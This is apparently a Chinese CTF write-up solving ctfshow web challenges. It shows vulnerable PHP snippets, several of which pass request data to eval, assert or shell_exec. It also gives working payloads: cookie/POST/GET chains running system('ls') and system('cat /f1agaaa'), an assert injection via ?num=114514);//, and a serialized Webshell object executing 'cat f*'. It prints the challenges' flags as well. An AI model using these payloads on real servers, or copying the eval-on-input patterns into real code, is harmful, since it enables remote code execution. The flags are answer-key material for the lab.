1 - web签到
题目
分析
读代码:
<?php
// 注释信息
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0); // 关闭错误报告
highlight_file(__FILE__); // 当前文件高亮显示
// 取回名为“CTFshow-QQ群:”的cookie值
// -> 作为post请求的参数传入
// -> 作为get请求的参数传入
// -> 数组的 [6][0][7][5][8][0][9][4][4] 键作为get或post请求的参数传入
// -> 字符串按照php代码计算
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
代码对由“CTFshow-QQ群:”传入的经过一系列操作的参数不作过滤直接传入 eval 函数,可能存在命令执行漏洞。
首先尝试通过 system('ls');
传入查询目录命令。
Burp Suite 拦截请求包:
选择“操作-更改请求方法”,将 get 请求更改为 post 请求:
-
向 “CTFshow-QQ群:” 传入 cookie 值,需要在表单中加入一行
Cookie: CTFshow-QQ%E7%BE%A4%3A=a
,这一步将 a 作为 cookie 传入“CTFshow-QQ群:”。其中CTFshow-QQ%E7%BE%A4%3A
是 “CTFshow-QQ群:” 经 URL 编码后的值。需要注意的是 Cookie 行与前面的字段之间不能有空行,否则会被看作 post 请求的参数传入。 -
_POST 函数收到 _COOKIE 传入的 a 后,将 a 作为变量名接收 post 请求的传参,因此在数据包最后插入一行
a=b
作为 post 请求的参数,这一步将 b 作为参数传入 a。同理,传入的参数需要与前面的字段间留有空行。 -
_GET 函数收到 _POST 函数传入的 b 后,将 b 作为变量名接收 get 请求的传参,因此在数据包首行
POST /
后插入?b=c
作为 get 请求的参数,这一步将 c 作为参数传入 b。 -
_REQUEST 函数收到 __GET 函数传入的 c 后,将 c 作为变量名接收 get 或 post 请求的传参,这里我们通过 post 请求传参。在第 2 步插入的
a=b
后加入&c[6][0][7][5][8][0][9][4][4]=system('ls');
-
eval 函数接收到
system('ls');
后将字符串按 php 代码执行,对当前目录进行查询。
查询结果(因为环境超时了所以 url 内容有点不一样不用在意:
逐级而上查询目录,在第三级父目录发现 flag 文件:
打印文件内容,得到 flag:
Flag
ctfshow{b3e0d59d-dca6-48bd-a6a1-ec899be4d155}
参考
PHP 教程-W3school
PHP 教程-菜鸟教程
使用$_COOKIE读取Cookie (PHP)-_xw2018-CSDN
web安全基础大佬三天速成之burpsuite与cookie、session篇-https://www.jianshu.com/p/056698de84b4-简书
get_post 攻防世界 使用burpsuite发送GET、POST请求-Zhuoqian_1-CSDN
Post请求的3种编码格式:application/x-www-form-urlencoded和multipart/form-data和application/json_post application-Hello_Error-CSDN
HTTP协议中的Content-Length-夜已如歌_ok-CSDN
为什么http请求的content-length为0 实体是有内容的-WOFY-博客园
burpsuite抓包GET传参转为POST传参-Sk1y-CSDN
2 - web2 c0me_t0_s1gn
题目
分析
大致翻译一下:
登录
Hi~Ctfer
书页里藏着一些东西,你需要用上帝之眼去寻找
要找东西是吧?F12 召唤 html 文件:
找到前半部分 flag。根据提示 can can word 控制台:
按提示输入函数,得到后半部分 flag:
Flag
ctfshow{We1c0me_t0_jo1n_u3_!}
3 - 我的眼里只有$
题目
分析
这个 php 文件看着不完整,先分析一下现有代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0); // 关闭错误报告
extract($_POST); // 导入 post 请求传入的变量到当前符号表
// 将 “_” 变量的值 的变量的值 …… 的变量的值作为 php 代码计算
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__); // 当前文件高亮显示
根据代码,我们需要通过 post 请求传入参数,并在 eval 函数中作为下一级 “$” 的变量名接受参数传入……共 36 级。
传入命令 system('ls');
:_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls');
发现可以成功运行。再尝试查询根目录的文件,传入命令 system('ls /');
:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('ls /');
发现 flag 所在文件 f1agaaa,用 system('cat /f1agaaa');
打开文件:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=bb&bb=cc&cc=dd&dd=ee&ee=ff&ff=gg&gg=hh&hh=ii&ii=system('cat /f1agaaa');
得到 flag。
Flag
ctfshow{4ab65f21-7093-40ea-bcdf-469c1e1004fc}
参考
【未完成】4 - 抽老婆
题目
5 - 一言既出
题目
分析
<?php
highlight_file(__FILE__); // 当前文件高亮显示
include "flag.php"; // 包含文件flag.php
if (isset($_GET['num'])){ // 如果get请求传入的变量num值存在且非NULL
if ($_GET['num'] == 114514){ // 如果get请求传入的变量num值等同于114514
// 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag; // 否则输出flag
}
}
这 homo 怎么无处不在啊(悲
根据代码,我们需要通过 get 请求向 num 传入(弱比较)等同于 114514 的参数,参数转为十进制后等于 1919810 且 num 不接受非空数组……(小脑萎缩
WP 解法,因为代码对 get 传入的参数没有过滤,所以可以通过传参直接闭合 assert 函数的括号并注释到后面的条件等。
构造参数 ?num=114514);//
时语句变为 assert("intval 114514);//)==1919810") or die("一言既出,驷马难追!");
,提交得到 flag:
还有一种比较狡猾的方法,构造 ?num=114514);(1919810
使语句成立,从而得到 flag:
当然 WP 也提供了正面迎击的写法,构造参数 ?num=114514%2B(1919810-114514)
,其中 %2B
是 “+” 的 URL 编码。因为 GET 方式会将表单中的数据以 URL 字符串的形式发送给服务器,故 if ($_GET['num'] == 114514)
等同于 if('114514+(1919810-114514)' == 114514)
,php 将加号前的 114514 与等号后的值进行比较,判断为真。
而 intval 函数会对 '114514+(1919810-114514)' 字符串进行计算后获取其(一般情况下是)十进制整数值,即 1919810 从而通过判断。
更多解法可以参考大佬的 WP:ctfshow菜狗 web 一言既出-hypocrite2-CSDN
Flag
ctfshow{fe93bd9a-de30-4ae3-b54f-233f08620874}
参考
PHP intval() 函数-菜鸟教程
PHP: assert-Manual
ctfshow菜狗 web 一言既出-hypocrite2-CSDN
php - $_GET和\$_POST里面要不要加引号?-SegmentFault 思否
使用$_GET[]获取表单数据(PHP)-_xw2018-CSDN
PHP弱类型比较总结-baynk-CSDN
6 - 驷马难追
题目
分析
<?php
highlight_file(__FILE__); // 当前文件高亮显示
include "flag.php"; // 包含文件flag.php
if (isset($_GET['num'])){ // 如果get请求传入的num值存在且非空
// 如果get请求传入的num值与114514弱比较相等且check函数返回为真
if ($_GET['num'] == 114514 && check($_GET['num'])){
// 如果get请求传入的num值转为十进制不等于1919810则输出“一言既出,驷马难追!”后结束脚本
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag; // 输出flag
}
}
function check($str){
// 正则匹配str中的小写字母、`;`符号、`(`符号和`)`符号,若未匹配到则返回true,否则返回false
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
这题在 check 函数中对输入参数进行了一个正则过滤,把前一题中闭合函数括号并注释掉后面语句的方法给规避掉了,但我们仍可采用对传入参数加上差值的方法通过 if 的条件判断。
因为这题过滤掉了括号,我们可以将括号去掉,或者对差值进行计算后再传入。构造 payload:?num=114514%2B1805296
得到 flag。
Flag
ctfshow{4a4c9d27-271b-42e6-a38d-9ee6fd927e5d}
参考
7 - TapTapTap
题目
分析
通过第 21 关后会得到一个 flag 的路径:
按路径打开文件得到 flag:
或者可以直接查看 js 文件,在 514 行有一条 if 语句判断通关大于 20 时输出一串 base64 字符串的解码文本:
解码也可得到路径内容:
Flag
ctfshow{23190f75-11cf-4677-a79f-908989e32e1b}
8 - Webshell
题目
分析
<?php
error_reporting(0); // 关闭错误报告
class Webshell { // Webshell类
public $cmd = 'echo "Hello World!"'; // 公有变量cmd为字符串echo "Hello World!"
public function __construct() { // 公有构造函数,创建新对象前调用
$this->init(); // 变量this调用init函数
}
public function init() { // 公有函数init
// 如果在变量this调用的cmd中未匹配到由大写或小写字母组成的子串“flag”
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd); // 变量this调用exec函数 传入this调用cmd的返回值
}
}
public function exec($cmd) { // 公有函数exec
$result = shell_exec($cmd); // 变量result接受cmd执行shell命令返回的字符串形式
echo $result; // 输出result
}
}
if(isset($_GET['cmd'])) { // 如果get请求传入的cmd值存在且非空
$serializecmd = $_GET['cmd']; // 变量serializecmd接收get请求传入的cmd值
// 变量unserializecmd接收变量serializecmd反序列化的结果
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init(); // 变量unserializecmd调用init函数
}
else { // 否则
highlight_file(__FILE__); // 高亮显示当前文件
}
?>
代码允许我们传入一条序列化的 shell 命令,且命令中不能出现子串 “flag”(大小写不敏感)。代码接收命令后输出运行结果。
首先我们尝试向 cmd 传入 ls
命令查询当前目录下的文件,既然是由 shell_exec 函数处理命令就不需要使用 system()
了。
构造代码用于输出序列化结果:
<?php
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
// 实例化一个Webshell类
$test = new Webshell();
// (?)因为cmd是public类型的变量,需要专门对test调用的cmd传参
// (?)如果直接在实例化时传参,参数会被'echo "Hello World!"'覆盖
$test->cmd = 'ls';
echo serialize($test);
?>
运行得到序列化值 O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
将序列化结果传入 cmd 得到 flag 文件名:
因为文件名含有字符串 flag,按 init 函数的过滤规则不能直接 cat flag.php
,这里采用模糊匹配 cat f*
打开唯一符合条件的文件 flag.php,序列化值为 O:8:"Webshell":1:{s:3:"cmd";s:6:"cat f*";}
,在 html 文件中找到 flag:
或者使用 tac 命令按行逆序输出结果:
使用 cat 命令打开文件无法直接输出文件内容的原因是:浏览器只获取服务器生成的 html 文件,而 flag 文件是 php 文件,浏览器无法直接识别 php 文件,只能将其转换为注释。
同理,当我们执行 cat *
命令,浏览器本应输出 flag.php 和 index.php 文件时输出的却是 index.php 文件的一部分:
是因为 index 中的 “>” 符号被浏览器识别为注释终止的符号,使得剩下的部分被直接输出:
Flag
ctfshow{d161873a-1d38-41bd-8bd5-064f96d8f2a2}
参考
PHP中private、public、protected的区别详解-周伯通之草堂-博客园
PHP: 构造函数和析构函数-Manual
PHP中的符号 ->、=> 和 :: 详解-深夜程序猿-CSDN
PHP: shell_exec-Manual
正则表达式–教程 | 菜鸟教程
Linux命令之cat和tac篇-南丘xf-CSDN
shell模糊匹配与正则详解-小雨淅淅o0-博客园
ctfshow菜狗 web webshell-hypocrite2-CSDN
php-PHP 在 HTML 中被注释掉-SegmentFault 思否
9 - 化零为整
题目
分析
<?php
highlight_file(__FILE__); // 当前文件高亮显示
include "flag.php"; // 包含文件flag.php
$result=''; // result字符串变量初始化为空
for ($i=1;$i<=count($_GET);$i++){ // 遍历get请求参数的元素
if (strlen($_GET[$i])>1){ // 如果存在长度大于1的元素
die("你太长了!!"); // 输出“你太长了”并结束脚本
}
else{ // 否则
$result=$result.$_GET[$i]; // result字符串末尾拼接该元素
}
}
if ($result ==="大牛"){ // 如果result字符串严格等于“大牛”
echo $flag; // 输出flag
}
根据代码内容,我们需要通过get请求传入字符串“大牛”,但如果直接传入“大牛”会无法通过 if 条件判断。因为 1 个汉字在 UTF-8 编码下占 3 个字节,在 GB2312 编码下占 2 个字节。因此我们需要对字符串进行 url 编码并逐字节传入。
构造 payload ?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
提交:
得到 flag
Flag
ctfshow{3268d9ac-c9e0-4c08-b9e6-b29e4a85cf56}
参考
玩转PHP(一)---php中处理汉字字符串长度:strlen和mb_strlen-光光-Leo-CSDN
URL编码、字符集-chinusyan-CSDN
10 - 无一幸免
题目
分析
<?php
include "flag.php"; // 包含文件flag.php
highlight_file(__FILE__); // 当前文件高亮显示
if (isset($_GET['0'])){ // 如果get请求传给0的值存在且非空
$arr[$_GET['0']]=1; // arr数组传入参数位置的值赋为1
if ($arr[]=1){ // 向arr数组参数的下一个位置赋1
die($flag); // 如果成功,输出flag并退出脚本
}
else{
die("nonono!"); // 如果失败,输出nonono!并退出脚本
}
}
这题向 0 传 int 范围内的参数(32 位是 \(0\) ~ \(2^{32-1}\),64 位是 \(0\) ~ \(2^{64-1}\))即可。
传个 0:
(挠头
Flag
ctfshow{df6b3038-9372-4938-a680-ef6117dabb45}
参考
php数组arr[]省略键名 给变量名加上一对空的方括号 则取当前最大整数索引值,新的键名将是该值加上 1-梓沂-CSDN
11 - 传说之下(雾)
题目
分析
是贪吃蛇!要求是拿到 2077 分。挂了三次后确信是我不擅长的领域。
先看看 js 文件。这里用的是火狐浏览器,在 275 行找到加分代码打上断点:
开始游戏让贪吃蛇吃一个苹果。此时页面暂停,将打断点的代码复制到控制台,将 1 改为任意大于 2076 的数(输入 2076 会在下次得分时得到 flag)并提交:
恢复程序运行,再吃一个苹果,程序再次中断。在控制台拿到 flag
或者在第 this.score = 0
后的 73 行打一个断点:
刷新页面让 this.score = 0
语句被执行,在控制台将 this.score
更改为任意大于 2076 的数并提交:
确认 score 的值已更改:
开始游戏,吃一个苹果,在控制台得到 flag。
Flag
ctfshow{Under0ph1di4n_n0!_...underrrrrta1e}
参考
使用 firefox 运行时更改 javascript 变量值-shida_csdn-CSDN
是否可以在浏览器中修改Javascript代码中的变量的值?-黑猫-知乎